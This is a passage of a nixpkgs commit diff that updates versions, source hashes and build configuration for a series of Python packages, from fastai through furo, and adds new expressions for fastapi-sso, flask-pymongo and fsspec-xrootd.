a/pkgs/development/python-modules/fastai/default.nix b/pkgs/development/python-modules/fastai/default.nix index cb2ee2cc26921..81459a8604880 100644 --- a/pkgs/development/python-modules/fastai/default.nix +++ b/pkgs/development/python-modules/fastai/default.nix @@ -18,14 +18,14 @@ buildPythonPackage rec { pname = "fastai"; - version = "2.7.13"; + version = "2.7.14"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-q1KBBAAKrTzq6USRwBjvT23mXpjQT2gjBsxuZ4w54rY="; + hash = "sha256-QiVyYojI/xs7wYl3umhky0j+xzptNS7Fv+fLMRy/4jc="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/fastapi-sso/default.nix b/pkgs/development/python-modules/fastapi-sso/default.nix new file mode 100644 index 0000000000000..bde53ac71325b --- /dev/null +++ b/pkgs/development/python-modules/fastapi-sso/default.nix @@ -0,0 +1,65 @@ +{ lib +, buildPythonPackage +, email-validator +, fastapi +, fetchFromGitHub +, httpx +, oauthlib +, poetry-core +, pydantic +, pylint +, pytest-asyncio +, pytest-xdist +, pytestCheckHook +, pythonOlder +}: + +buildPythonPackage rec { + pname = "fastapi-sso"; + version = "0.12.1"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "tomasvotava"; + repo = "fastapi-sso"; + rev = "refs/tags/${version}"; + hash = "sha256-/Mt0pmZYsWp/n9YHCy/bFKUPzmoRFB0cHKCNxEfxMLs="; + }; + + postPatch = '' + sed -i "/--cov/d" pyproject.toml + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + fastapi + httpx + oauthlib + pydantic + pylint + ]; + + nativeCheckInputs = [ + email-validator + pytest-asyncio + pytest-xdist + pytestCheckHook + ]; + + pythonImportsCheck = [ + "fastapi_sso" + ]; + + meta = with lib; { + description = "FastAPI plugin to enable SSO to most common providers (such as Facebook login, Google login and login via Microsoft Office 365 Account"; + homepage = "https://github.com/tomasvotava/fastapi-sso"; + changelog = "https://github.com/tomasvotava/fastapi-sso/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/fastecdsa/default.nix b/pkgs/development/python-modules/fastecdsa/default.nix index bd1a8c673e42e..d46bf58d861c2 100644 --- a/pkgs/development/python-modules/fastecdsa/default.nix +++ b/pkgs/development/python-modules/fastecdsa/default.nix @@ -8,14 +8,14 @@ buildPythonPackage rec { pname = "fastecdsa"; - version = "2.3.1"; + version = "2.3.2"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-8ZjORPaUbKuwKYip9J0U78QQ26XiEemDIbqdhzeyP/g="; + hash = "sha256-81JVptPkEQkWa11LCIZtWsu5ny4eZNOn50x3RmTNqEI="; }; buildInputs = [ diff --git a/pkgs/development/python-modules/faster-whisper/default.nix b/pkgs/development/python-modules/faster-whisper/default.nix index 84761c3bfa067..847afc47a3523 100644 --- a/pkgs/development/python-modules/faster-whisper/default.nix +++ b/pkgs/development/python-modules/faster-whisper/default.nix @@ -2,6 +2,9 @@ , buildPythonPackage , fetchFromGitHub +# build-system +, setuptools + # dependencies , av , ctranslate2 @@ -15,17 +18,21 @@ buildPythonPackage rec { pname = "faster-whisper"; - version = "0.10.0"; - format = "setuptools"; + version = "1.0.1"; + pyproject = true; src = fetchFromGitHub { - owner = "guillaumekln"; + owner = "SYSTRAN"; repo = "faster-whisper"; - rev = "refs/tags/${version}"; - hash = "sha256-qcpPQv5WoUkT92/TZ+MMq452FgPNcm3ZZ+ZNc0btOGE="; + rev = "refs/tags/v${version}"; + hash = "sha256-b8P9fI32ubOrdayA0vnjLhpZ4qffB6W+8TEOA1YLKqo="; }; - propagatedBuildInputs = [ + build-system = [ + setuptools + ]; + + dependencies = [ av ctranslate2 huggingface-hub diff --git a/pkgs/development/python-modules/fastparquet/default.nix b/pkgs/development/python-modules/fastparquet/default.nix index 9105fbd406121..1ceeecafb6384 100644 --- a/pkgs/development/python-modules/fastparquet/default.nix +++ b/pkgs/development/python-modules/fastparquet/default.nix @@ -20,35 +20,35 @@ buildPythonPackage rec { pname = "fastparquet"; - version = "2023.7.0"; - format = "pyproject"; + version = "2024.2.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "dask"; - repo = pname; - rev = version; - hash = "sha256-pJ0zK0upEV7TyuNMIcozugkwBlYpK/Dg6BdB0kBpn9k="; + repo = "fastparquet"; + rev = "refs/tags/${version}"; + hash = "sha256-e0gnC/HMYdrYdEwy6qNOD1J52xgN2x81oCG03YNsYjg="; }; - nativeBuildInputs = [ - cython - oldest-supported-numpy - setuptools - setuptools-scm - wheel - ]; - postPatch = '' substituteInPlace pyproject.toml \ - --replace '"pytest-runner"' "" + --replace-fail '"pytest-runner"' "" sed -i \ -e "/pytest-runner/d" \ -e '/"git", "status"/d' setup.py ''; + nativeBuildInputs = [ + cython + oldest-supported-numpy + setuptools + setuptools-scm + wheel + ]; + propagatedBuildInputs = [ cramjam fsspec @@ -85,7 +85,7 @@ buildPythonPackage rec { ]; meta = with lib; { - description = "A python implementation of the parquet format"; + description = "Implementation of the parquet format"; homepage = "https://github.com/dask/fastparquet"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ veprbl ]; diff --git a/pkgs/development/python-modules/ffmpy/default.nix b/pkgs/development/python-modules/ffmpy/default.nix index c3b0c6078f42f..8e00a4678ebff 100644 --- a/pkgs/development/python-modules/ffmpy/default.nix +++ b/pkgs/development/python-modules/ffmpy/default.nix @@ -2,6 +2,7 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder +, setuptools , pytestCheckHook , go , ffmpeg-headless @@ -9,8 +10,8 @@ buildPythonPackage rec { pname = "ffmpy"; - version = "0.3.1"; - format = "setuptools"; + version = "0.3.2"; + pyproject = true; disabled = pythonOlder "3.6"; @@ -18,7 +19,7 @@ buildPythonPackage rec { owner = "Ch00k"; repo = "ffmpy"; rev = "refs/tags/${version}"; - hash = "sha256-kuLhmCG80BmXdqpW67UanBnuYiL2Oh1jKt7IgmVNEAM="; + hash = "sha256-q41JjAWcIiD2nJck5Zzb/lhfIZ3xJGU1I2crsMN0T8Q="; }; postPatch = '' @@ -34,6 +35,10 @@ buildPythonPackage rec { pythonImportsCheck = [ "ffmpy" ]; + nativeBuildInputs = [ + setuptools + ]; + nativeCheckInputs = [ pytestCheckHook go diff --git a/pkgs/development/python-modules/filedepot/default.nix b/pkgs/development/python-modules/filedepot/default.nix index b347a1a6bd199..b567a3d8322a7 100644 --- a/pkgs/development/python-modules/filedepot/default.nix +++ b/pkgs/development/python-modules/filedepot/default.nix @@ -2,7 +2,6 @@ , anyascii , buildPythonPackage , fetchFromGitHub -, fetchpatch , flaky , google-cloud-storage , mock @@ -11,13 +10,14 @@ , pytestCheckHook , pythonOlder , requests +, setuptools , sqlalchemy }: buildPythonPackage rec { pname = "filedepot"; - version = "0.10.0"; - format = "setuptools"; + version = "0.11.0"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -25,16 +25,11 @@ buildPythonPackage rec { owner = "amol-"; repo = "depot"; rev = "refs/tags/${version}"; - hash = "sha256-vPceky5cvmy3MooWz7dRdy68VoAHN7i3a7egBs4dPE8="; + hash = "sha256-693H/u+Wg2G9sdoUkC6DQo9WkmIlKnh8NKv3ufK/eyQ="; }; - patches = [ - # Add support for Pillow 10, https://github.com/amol-/depot/pull/84 - (fetchpatch { - name = "support-pillow-10.patch"; - url = "https://github.com/amol-/depot/commit/bdb73d1b3898279068b421bc061ecc18c5108fa4.patch"; - hash = "sha256-7+VGrdJstkiy0bYAqA9FjF1NftZiurgyPd8Wlz6GUy8="; - }) + nativeBuildInputs = [ + setuptools ]; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/flake8/default.nix b/pkgs/development/python-modules/flake8/default.nix index 7a3bd82a51456..9efb1fab948c7 100644 --- a/pkgs/development/python-modules/flake8/default.nix +++ b/pkgs/development/python-modules/flake8/default.nix @@ -2,6 +2,7 @@ , buildPythonPackage , pythonOlder , fetchFromGitHub +, setuptools , mccabe , pycodestyle , pyflakes @@ -10,19 +11,23 @@ buildPythonPackage rec { pname = "flake8"; - version = "6.1.0"; + version = "7.0.0"; disabled = pythonOlder "3.8"; - format = "setuptools"; + pyproject = true; src = fetchFromGitHub { owner = "PyCQA"; repo = "flake8"; rev = version; - hash = "sha256-N8bufkn1CUREHusVc2mQ1YlNr7lrESEZGmlN68bhgbE="; + hash = "sha256-2oVvchDhH3cX90RTIquYLyr+rzHxzQgYA4k4ReTxpH8="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ mccabe pycodestyle @@ -34,8 +39,8 @@ buildPythonPackage rec { ]; meta = with lib; { - description = "Flake8 is a wrapper around pyflakes, pycodestyle and mccabe."; - homepage = "https://github.com/pycqa/flake8"; + description = "The modular source code checker: pep8, pyflakes and co"; + homepage = "https://github.com/PyCQA/flake8"; license = licenses.mit; maintainers = with maintainers; [ dotlambda ]; mainProgram = "flake8"; diff --git a/pkgs/development/python-modules/flask-limiter/default.nix b/pkgs/development/python-modules/flask-limiter/default.nix index ff532ffd12d90..3aab9046cdc8e 100644 --- a/pkgs/development/python-modules/flask-limiter/default.nix +++ b/pkgs/development/python-modules/flask-limiter/default.nix @@ -13,13 +13,14 @@ , pythonOlder , redis , rich +, setuptools , typing-extensions }: buildPythonPackage rec { pname = "flask-limiter"; - version = "3.5.0"; - format = "setuptools"; + version = "3.5.1"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -27,7 +28,7 @@ buildPythonPackage rec { owner = "alisaifee"; repo = "flask-limiter"; rev = "refs/tags/${version}"; - hash = "sha256-ZaHw8+l1sBCeNj0tYdUw1f4BUvEj6plOSoH0GUzNg+0="; + hash = "sha256-U7qgl8yg0ddKDPXqYE2Vqyc2ofxSP+6liWs5j4qD6fM="; }; postPatch = '' @@ -37,6 +38,10 @@ buildPythonPackage rec { sed -i "/import flask_restful/d" tests/test_views.py ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ flask limits diff --git a/pkgs/development/python-modules/flask-marshmallow/default.nix b/pkgs/development/python-modules/flask-marshmallow/default.nix index be74af2d5f9a8..fdc40c2443039 100644 --- a/pkgs/development/python-modules/flask-marshmallow/default.nix +++ b/pkgs/development/python-modules/flask-marshmallow/default.nix @@ -1,13 +1,13 @@ { lib , buildPythonPackage , fetchFromGitHub -, pythonOlder -, flit-core , flask -, marshmallow -, pytestCheckHook , flask-sqlalchemy +, flit-core +, marshmallow , marshmallow-sqlalchemy +, pytestCheckHook +, pythonOlder }: buildPythonPackage rec { @@ -33,6 +33,13 @@ buildPythonPackage rec { marshmallow ]; + passthru.optional-dependencies = { + sqlalchemy = [ + flask-sqlalchemy + marshmallow-sqlalchemy + ]; + }; + nativeCheckInputs = [ pytestCheckHook ] ++ passthru.optional-dependencies.sqlalchemy; @@ -41,12 +48,10 @@ buildPythonPackage rec { "flask_marshmallow" ]; - passthru.optional-dependencies = { - sqlalchemy = [ - flask-sqlalchemy - marshmallow-sqlalchemy - ]; - }; + pytestFlagsArray = [ + "-W" + "ignore::DeprecationWarning" + ]; meta = { description = "Flask + marshmallow for beautiful APIs"; diff --git a/pkgs/development/python-modules/flask-pymongo/default.nix b/pkgs/development/python-modules/flask-pymongo/default.nix new file mode 100644 index 0000000000000..721de186417f6 --- /dev/null +++ b/pkgs/development/python-modules/flask-pymongo/default.nix @@ -0,0 +1,49 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, vcversioner +, flask +, pymongo +, six +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "flask-pymongo"; + version = "2.3.0"; + pyproject = true; + + src = fetchPypi { + pname = "Flask-PyMongo"; + inherit version; + hash = "sha256-Yg6wLciAil/LkPJsq2y6nWv0l7FQMq48qZ34A2bjMxQ="; + }; + + nativeBuildInputs = [ + setuptools + vcversioner + ]; + + propagatedBuildInputs = [ + flask + pymongo + six + ]; + + pythonImportsCheck = [ "flask_pymongo" ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + # requires running MongoDB + doCheck = false; + + meta = { + homepage = "https://github.com/dcrosta/flask-pymongo"; + description = "PyMongo support for Flask applications"; + license = lib.licenses.bsd2; + maintainers = [ ]; + }; +} diff --git a/pkgs/development/python-modules/flask-seasurf/0001-Fix-with-new-dependency-versions.patch b/pkgs/development/python-modules/flask-seasurf/0001-Fix-with-new-dependency-versions.patch index c12c85e0de254..2506a10268b20 100644 --- a/pkgs/development/python-modules/flask-seasurf/0001-Fix-with-new-dependency-versions.patch +++ b/pkgs/development/python-modules/flask-seasurf/0001-Fix-with-new-dependency-versions.patch @@ -1,17 +1,17 @@ -From 001549503eed364d4baaa5804242f67c6236f6c2 Mon Sep 17 00:00:00 2001 +From d3aed2c18cc3a1c88a8052af1f34d7f81f1be11a Mon Sep 17 00:00:00 2001 From: Flakebi <flakebi@t-online.de> -Date: Sat, 2 Dec 2023 16:55:05 +0100 +Date: Wed, 28 Feb 2024 23:24:14 +0100 Subject: [PATCH] Fix with new dependency versions - cookie_jar is private in werkzeug 2.3, so recreate the client instead - set_cookie does not take a hostname argument anymore, use domain instead - Headers need to specify a content type --- - test_seasurf.py | 63 ++++++++++++++++++++++++------------------------- - 1 file changed, 31 insertions(+), 32 deletions(-) + test_seasurf.py | 71 ++++++++++++++++++++++++------------------------- + 1 file changed, 35 insertions(+), 36 deletions(-) diff --git a/test_seasurf.py b/test_seasurf.py -index 517b2d7..501f82d 100644 +index 517b2d7..f940b91 100644 --- a/test_seasurf.py +++ b/test_seasurf.py @@ -71,18 +71,18 @@ class SeaSurfTestCase(BaseTestCase): @@ -37,6 +37,15 @@ index 517b2d7..501f82d 100644 self.assertIn(b('403 Forbidden'), rv.data) def test_json_token_validation_bad(self): +@@ -93,7 +93,7 @@ class SeaSurfTestCase(BaseTestCase): + with self.app.test_client() as client: + with client.session_transaction() as sess: + sess[self.csrf._csrf_name] = tokenA +- client.set_cookie('www.example.com', self.csrf._csrf_name, tokenB) ++ client.set_cookie(self.csrf._csrf_name, tokenB, domain='www.example.com') + + rv = client.post('/bar', data=data) + self.assertEqual(rv.status_code, 403, rv) @@ -107,7 +107,7 @@ class SeaSurfTestCase(BaseTestCase): data = {'_csrf_token': token} with self.app.test_client() as client: @@ -55,7 +64,7 @@ index 517b2d7..501f82d 100644 sess[self.csrf._csrf_name] = token # once this is reached the session was stored -@@ -144,7 +144,7 @@ class SeaSurfTestCase(BaseTestCase): +@@ -144,18 +144,18 @@ class SeaSurfTestCase(BaseTestCase): with client.session_transaction() as sess: token = self.csrf._generate_token() @@ -64,6 +73,19 @@ index 517b2d7..501f82d 100644 sess[self.csrf._csrf_name] = token # once this is reached the session was stored +- rv = client.post('/bar', ++ rv = client.post('/bar', content_type='application/json', + data={self.csrf._csrf_name: token}, + base_url='https://www.example.com', + headers={'Referer': 'https://www.example.com/foobar'}) + + self.assertEqual(rv.status_code, 200) + +- rv = client.post(u'/bar/\xf8', ++ rv = client.post(u'/bar/\xf8', content_type='application/json', + data={self.csrf._csrf_name: token}, + base_url='https://www.example.com', + headers={'Referer': 'https://www.example.com/foobar\xf8'}) @@ -167,7 +167,7 @@ class SeaSurfTestCase(BaseTestCase): with client.session_transaction() as sess: token = self.csrf._generate_token() @@ -252,6 +274,15 @@ index 517b2d7..501f82d 100644 self.assertEqual(res2.status_code, 200) def test_header_set_cookie_samesite(self): +@@ -789,7 +788,7 @@ class SeaSurfTestCaseGenerateNewToken(BaseTestCase): + client.get('/foo') + tokenA = self.csrf._get_token() + +- client.set_cookie('www.example.com', self.csrf._csrf_name, tokenA) ++ client.set_cookie(self.csrf._csrf_name, tokenA, domain='www.example.com') + with client.session_transaction() as sess: + sess[self.csrf._csrf_name] = tokenA + -- -2.42.0 +2.43.0 diff --git a/pkgs/development/python-modules/flax/default.nix b/pkgs/development/python-modules/flax/default.nix index fa0f053f86de1..b906ba9d4322f 100644 --- a/pkgs/development/python-modules/flax/default.nix +++ b/pkgs/development/python-modules/flax/default.nix @@ -1,24 +1,26 @@ { lib , buildPythonPackage +, cloudpickle +, einops , fetchFromGitHub -, jaxlib -, pythonRelaxDepsHook -, setuptools-scm , jax +, jaxlib +, keras +, matplotlib , msgpack , numpy , optax +, orbax-checkpoint +, pytest-xdist +, pytestCheckHook +, pythonOlder +, pythonRelaxDepsHook , pyyaml , rich +, setuptools-scm +, tensorflow , tensorstore , typing-extensions -, matplotlib -, cloudpickle -, einops -, keras -, pytest-xdist -, pytestCheckHook -, tensorflow }: buildPythonPackage rec { @@ -26,6 +28,8 @@ buildPythonPackage rec { version = "0.7.5"; pyproject = true; + disabled = pythonOlder "3.8"; + src = fetchFromGitHub { owner = "google"; repo = "flax"; @@ -44,6 +48,7 @@ buildPythonPackage rec { msgpack numpy optax + orbax-checkpoint pyyaml rich tensorstore @@ -75,7 +80,6 @@ buildPythonPackage rec { disabledTestPaths = [ # Docs test, needs extra deps + we're not interested in it. "docs/_ext/codediff_test.py" - # The tests in `examples` are not designed to be executed from a single test # session and thus either have the modules that conflict with each other or # wrong import paths, depending on how they're invoked. Many tests also have @@ -83,12 +87,15 @@ buildPythonPackage rec { # `tensorflow_datasets`, `vocabulary`) so the benefits of trying to run them # would be limited anyway. "examples/*" - # See https://github.com/google/flax/issues/3232. "tests/jax_utils_test.py" + # Requires tree + "tests/tensorboard_test.py" + ]; - # Requires orbax which is not packaged as of 2023-07-27. - "tests/checkpoints_test.py" + disabledTests = [ + # ValueError: Checkpoint path should be absolute + "test_overwrite_checkpoints0" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/flet-core/default.nix b/pkgs/development/python-modules/flet-core/default.nix index 2b84348f36f5b..9b1a00107a675 100644 --- a/pkgs/development/python-modules/flet-core/default.nix +++ b/pkgs/development/python-modules/flet-core/default.nix @@ -12,13 +12,13 @@ buildPythonPackage rec { pname = "flet-core"; - version = "0.19.0"; + version = "0.20.2"; pyproject = true; src = fetchPypi { pname = "flet_core"; inherit version; - hash = "sha256-JRV56SwIhrsJHX/fzQKI0R2o/I+H5xXCXVu7uBiyIP8="; + hash = "sha256-czkboJD/PjJA3F/z42qClErxNbQUgMt7QtbLd7yxhhw="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/flet-runtime/default.nix b/pkgs/development/python-modules/flet-runtime/default.nix index 9f2a9a68de3d8..9e643fa812891 100644 --- a/pkgs/development/python-modules/flet-runtime/default.nix +++ b/pkgs/development/python-modules/flet-runtime/default.nix @@ -10,13 +10,13 @@ buildPythonPackage rec { pname = "flet-runtime"; - version = "0.19.0"; + version = "0.20.2"; pyproject = true; src = fetchPypi { pname = "flet_runtime"; inherit version; - hash = "sha256-no2oDGZG1svrOZLNAao279qeHwyk5SGibDG4UqpriiU="; + hash = "sha256-92gyaMME2R7k3AAFKsl7kIv8mVwi8pwQsGLD0ml82Q0="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/flet/default.nix b/pkgs/development/python-modules/flet/default.nix index 1730e0515ce21..961267915d4b0 100644 --- a/pkgs/development/python-modules/flet/default.nix +++ b/pkgs/development/python-modules/flet/default.nix @@ -22,12 +22,12 @@ buildPythonPackage rec { pname = "flet"; - version = "0.19.0"; + version = "0.20.2"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-YpML/NIUiL1WYg6zR6l60nJ6KRBfjMOjRbPDdjhR3/Q="; + hash = "sha256-3LhQI/hjenTxG/1DZP/zn2zs00rT5BviDAQYb2vucBM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/floret/cstdint.patch b/pkgs/development/python-modules/floret/cstdint.patch new file mode 100644 index 0000000000000..f30f557cb7013 --- /dev/null +++ b/pkgs/development/python-modules/floret/cstdint.patch @@ -0,0 +1,12 @@ +diff --git a/src/args.cc b/src/args.cc +index a8975e81624c..99854c919341 100644 +--- a/src/args.cc ++++ b/src/args.cc +@@ -10,6 +10,7 @@ + + #include <stdlib.h> + ++#include <cstdint> + #include <iostream> + #include <stdexcept> + #include <string> diff --git a/pkgs/development/python-modules/floret/default.nix b/pkgs/development/python-modules/floret/default.nix index 72248cf8dbaa2..6ca020ac81df1 100644 --- a/pkgs/development/python-modules/floret/default.nix +++ b/pkgs/development/python-modules/floret/default.nix @@ -23,6 +23,8 @@ buildPythonPackage rec { hash = "sha256-7vkw6H0ZQoHEwNusY6QWh/vPbSCdP1ZaaqABHsZH6hQ="; }; + patches = [./cstdint.patch ]; + nativeBuildInputs = [ pybind11 setuptools diff --git a/pkgs/development/python-modules/flufl/bounce.nix b/pkgs/development/python-modules/flufl/bounce.nix index 81d2d4840cf13..7c6738bc3cd65 100644 --- a/pkgs/development/python-modules/flufl/bounce.nix +++ b/pkgs/development/python-modules/flufl/bounce.nix @@ -1,14 +1,49 @@ -{ buildPythonPackage, fetchPypi, atpublic, zope-interface, nose2 }: +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, atpublic +, zope-interface +, pytestCheckHook +}: buildPythonPackage rec { - pname = "flufl.bounce"; + pname = "flufl-bounce"; version = "4.0"; - - buildInputs = [ nose2 ]; - propagatedBuildInputs = [ atpublic zope-interface ]; + pyproject = true; src = fetchPypi { - inherit pname version; + pname = "flufl.bounce"; + inherit version; hash = "sha256-JVBK65duwP5aGc1sQTo0EMtRT9zb3Kn5tdjTQ6hgODE="; }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + atpublic + zope-interface + ]; + + nativeCheckInputs = [ + pytestCheckHook + ]; + + pythonImportsCheck = [ + "flufl.bounce" + ]; + + pythonNamespaces = [ + "flufl" + ]; + + meta = with lib; { + description = "Email bounce detectors"; + homepage = "https://gitlab.com/warsaw/flufl.bounce"; + changelog = "https://gitlab.com/warsaw/flufl.bounce/-/blob/${version}/flufl/bounce/NEWS.rst"; + maintainers = with maintainers; [ ]; + license = licenses.asl20; + }; } diff --git a/pkgs/development/python-modules/flufl/i18n.nix b/pkgs/development/python-modules/flufl/i18n.nix index 57a33e233cf60..bd5bcb62fe6c7 100644 --- a/pkgs/development/python-modules/flufl/i18n.nix +++ b/pkgs/development/python-modules/flufl/i18n.nix @@ -1,26 +1,45 @@ { lib , buildPythonPackage , fetchPypi +, pythonOlder , atpublic , pdm-pep517 +, pytestCheckHook +, sybil }: buildPythonPackage rec { - pname = "flufl.i18n"; + pname = "flufl-i18n"; version = "4.1.1"; - format = "pyproject"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchPypi { + pname = "flufl.i18n"; + inherit version; + hash = "sha256-wKz6aggkJ9YBJ+o75XjC4Ddnn+Zi9hlYDnliwTc7DNs="; + }; + + postPatch = '' + substituteInPlace pyproject.toml \ + --replace "--cov=flufl --cov-report=term --cov-report=xml" "" + ''; nativeBuildInputs = [ pdm-pep517 ]; - propagatedBuildInputs = [ atpublic ]; - doCheck = false; + propagatedBuildInputs = [ atpublic ]; pythonImportsCheck = [ "flufl.i18n" ]; - src = fetchPypi { - inherit pname version; - hash = "sha256-wKz6aggkJ9YBJ+o75XjC4Ddnn+Zi9hlYDnliwTc7DNs="; - }; + nativeCheckInputs = [ + pytestCheckHook + sybil + ]; + + pythonNamespaces = [ + "flufl" + ]; meta = with lib; { description = "A high level API for internationalizing Python libraries and applications"; diff --git a/pkgs/development/python-modules/flufl/lock.nix b/pkgs/development/python-modules/flufl/lock.nix index 1b4a575e760a5..8a3e391fee15d 100644 --- a/pkgs/development/python-modules/flufl/lock.nix +++ b/pkgs/development/python-modules/flufl/lock.nix @@ -1,15 +1,18 @@ -{ lib, buildPythonPackage, fetchPypi, pytestCheckHook +{ lib, buildPythonPackage, fetchPypi, pytestCheckHook, pythonOlder , atpublic, psutil, pytest-cov, sybil , pdm-pep517 }: buildPythonPackage rec { - pname = "flufl.lock"; + pname = "flufl-lock"; version = "7.1.1"; - format = "pyproject"; + pyproject = true; + + disabled = pythonOlder "3.7"; src = fetchPypi { - inherit pname version; + pname = "flufl.lock"; + inherit version; hash = "sha256-rxQXKzW7xYaHvQa3DRaT/Y1Iy/D/3n5RphjBSK4kBC0="; }; @@ -22,11 +25,19 @@ buildPythonPackage rec { # relevant to the user. pytestFlagsArray = [ "--no-cov" ]; + pythonImportsCheck = [ + "flufl.lock" + ]; + + pythonNamespaces = [ + "flufl" + ]; + meta = with lib; { homepage = "https://flufllock.readthedocs.io/"; description = "NFS-safe file locking with timeouts for POSIX and Windows"; + changelog = "https://gitlab.com/warsaw/flufl.lock/-/blob/${version}/docs/NEWS.rst"; maintainers = with maintainers; [ qyliss ]; license = licenses.asl20; - platforms = platforms.all; }; } diff --git a/pkgs/development/python-modules/fpyutils/default.nix b/pkgs/development/python-modules/fpyutils/default.nix index 3ad71f9a26172..a81067e1ffb3b 100644 --- a/pkgs/development/python-modules/fpyutils/default.nix +++ b/pkgs/development/python-modules/fpyutils/default.nix @@ -5,22 +5,27 @@ , pytestCheckHook , pythonOlder , requests +, setuptools }: buildPythonPackage rec { pname = "fpyutils"; - version = "3.0.1"; - format = "setuptools"; + version = "4.0.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "frnmst"; - repo = pname; + repo = "fpyutils"; rev = "refs/tags/${version}"; - hash = "sha256-cmCD8uKPX/7Ak6jAqzCvDqR1FgH09GaLfLTZdBQB+bs="; + hash = "sha256-VVR1zsejO6kHlMjqqlftDKu3/SyDzgPov9f48HYL/Bk="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ atomicwrites requests diff --git a/pkgs/development/python-modules/frozenlist/default.nix b/pkgs/development/python-modules/frozenlist/default.nix index 06ff0d1c7dcc3..7e26460455185 100644 --- a/pkgs/development/python-modules/frozenlist/default.nix +++ b/pkgs/development/python-modules/frozenlist/default.nix @@ -1,7 +1,9 @@ { lib , buildPythonPackage -, cython +, cython_3 +, expandvars , fetchFromGitHub +, pep517 , pytestCheckHook , pythonOlder , setuptools @@ -10,27 +12,33 @@ buildPythonPackage rec { pname = "frozenlist"; - version = "1.4.0"; - format = "pyproject"; + version = "1.4.1"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "aio-libs"; - repo = pname; + repo = "frozenlist"; rev = "refs/tags/v${version}"; - hash = "sha256-sI6jnrTxDbW0sNVodpCjBnA31VAAmunwMp9s8GkoHGI="; + hash = "sha256-ICPJKN6P9ezTiDVoEVBQvJlXqF7aHE6aXFx0jzntdEA="; }; + postPatch = '' + rm pytest.ini + ''; + nativeBuildInputs = [ - cython + expandvars + cython_3 + pep517 setuptools wheel ]; - postPatch = '' - sed -i "/addopts =/d" pytest.ini - ''; + nativeCheckInputs = [ + pytestCheckHook + ]; preBuild = '' cython frozenlist/_frozenlist.pyx @@ -40,13 +48,10 @@ buildPythonPackage rec { "frozenlist" ]; - nativeCheckInputs = [ - pytestCheckHook - ]; - meta = with lib; { description = "Python module for list-like structure"; homepage = "https://github.com/aio-libs/frozenlist"; + changelog = "https://github.com/aio-libs/frozenlist/blob/v${version}/CHANGES.rst"; license = with licenses; [ asl20 ]; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/fsspec-xrootd/default.nix b/pkgs/development/python-modules/fsspec-xrootd/default.nix new file mode 100644 index 0000000000000..f601c9b86ce2a --- /dev/null +++ b/pkgs/development/python-modules/fsspec-xrootd/default.nix @@ -0,0 +1,65 @@ +{ lib +, buildPythonPackage +, pythonOlder +, fetchFromGitHub +, setuptools +, setuptools-scm +, fsspec +, xrootd +, pkgs +, pytestCheckHook +, stdenv +}: + +buildPythonPackage rec { + pname = "fsspec-xrootd"; + version = "0.2.4"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "CoffeaTeam"; + repo = "fsspec-xrootd"; + rev = "refs/tags/v${version}"; + hash = "sha256-8TT+49SF/3i2OMIDcDD0AXEn0J9UkNX2q/SBkfoMXso="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + ]; + + propagatedBuildInputs = [ + fsspec + xrootd + ]; + + pythonImportsCheck = [ + "fsspec_xrootd" + ]; + + nativeCheckInputs = [ + pkgs.xrootd + pytestCheckHook + ]; + + disabledTests = [ + # Fails (on aarch64-linux) as it runs sleep, touch, stat and makes assumptions about the + # scheduler and the filesystem. + "test_touch_modified" + ]; + + # Timeout related tests hang indifinetely + disabledTestPaths = lib.optionals stdenv.hostPlatform.isDarwin [ + "tests/test_basicio.py" + ]; + + meta = with lib; { + description = "An XRootD implementation for fsspec"; + homepage = "https://github.com/CoffeaTeam/fsspec-xrootd"; + changelog = "https://github.com/CoffeaTeam/fsspec-xrootd/releases/tag/v${version}"; + license = licenses.bsd3; + maintainers = with maintainers; [ GaetanLepage ]; + }; +} diff --git a/pkgs/development/python-modules/furo/default.nix b/pkgs/development/python-modules/furo/default.nix index ff74cbd6c9b0a..fb024e18c4f6b 100644 --- a/pkgs/development/python-modules/furo/default.nix +++ b/pkgs/development/python-modules/furo/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "furo"; - version = "2023.9.10"; + version = "2024.1.29"; format = "wheel"; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { inherit pname version format; dist = "py3"; python = "py3"; - hash = "sha256-UTCSU4U33FxZZpHaBuPDcHFOyZvEOGgO3B3r/7c+W/w="; + hash = "sha256-NUi+LO9Foy+M3AJy1BX8s+X6ag603f4h3z7PH+RaE88="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/fx2/default.nix b/pkgs/development/python-modules/fx2/default.nix index 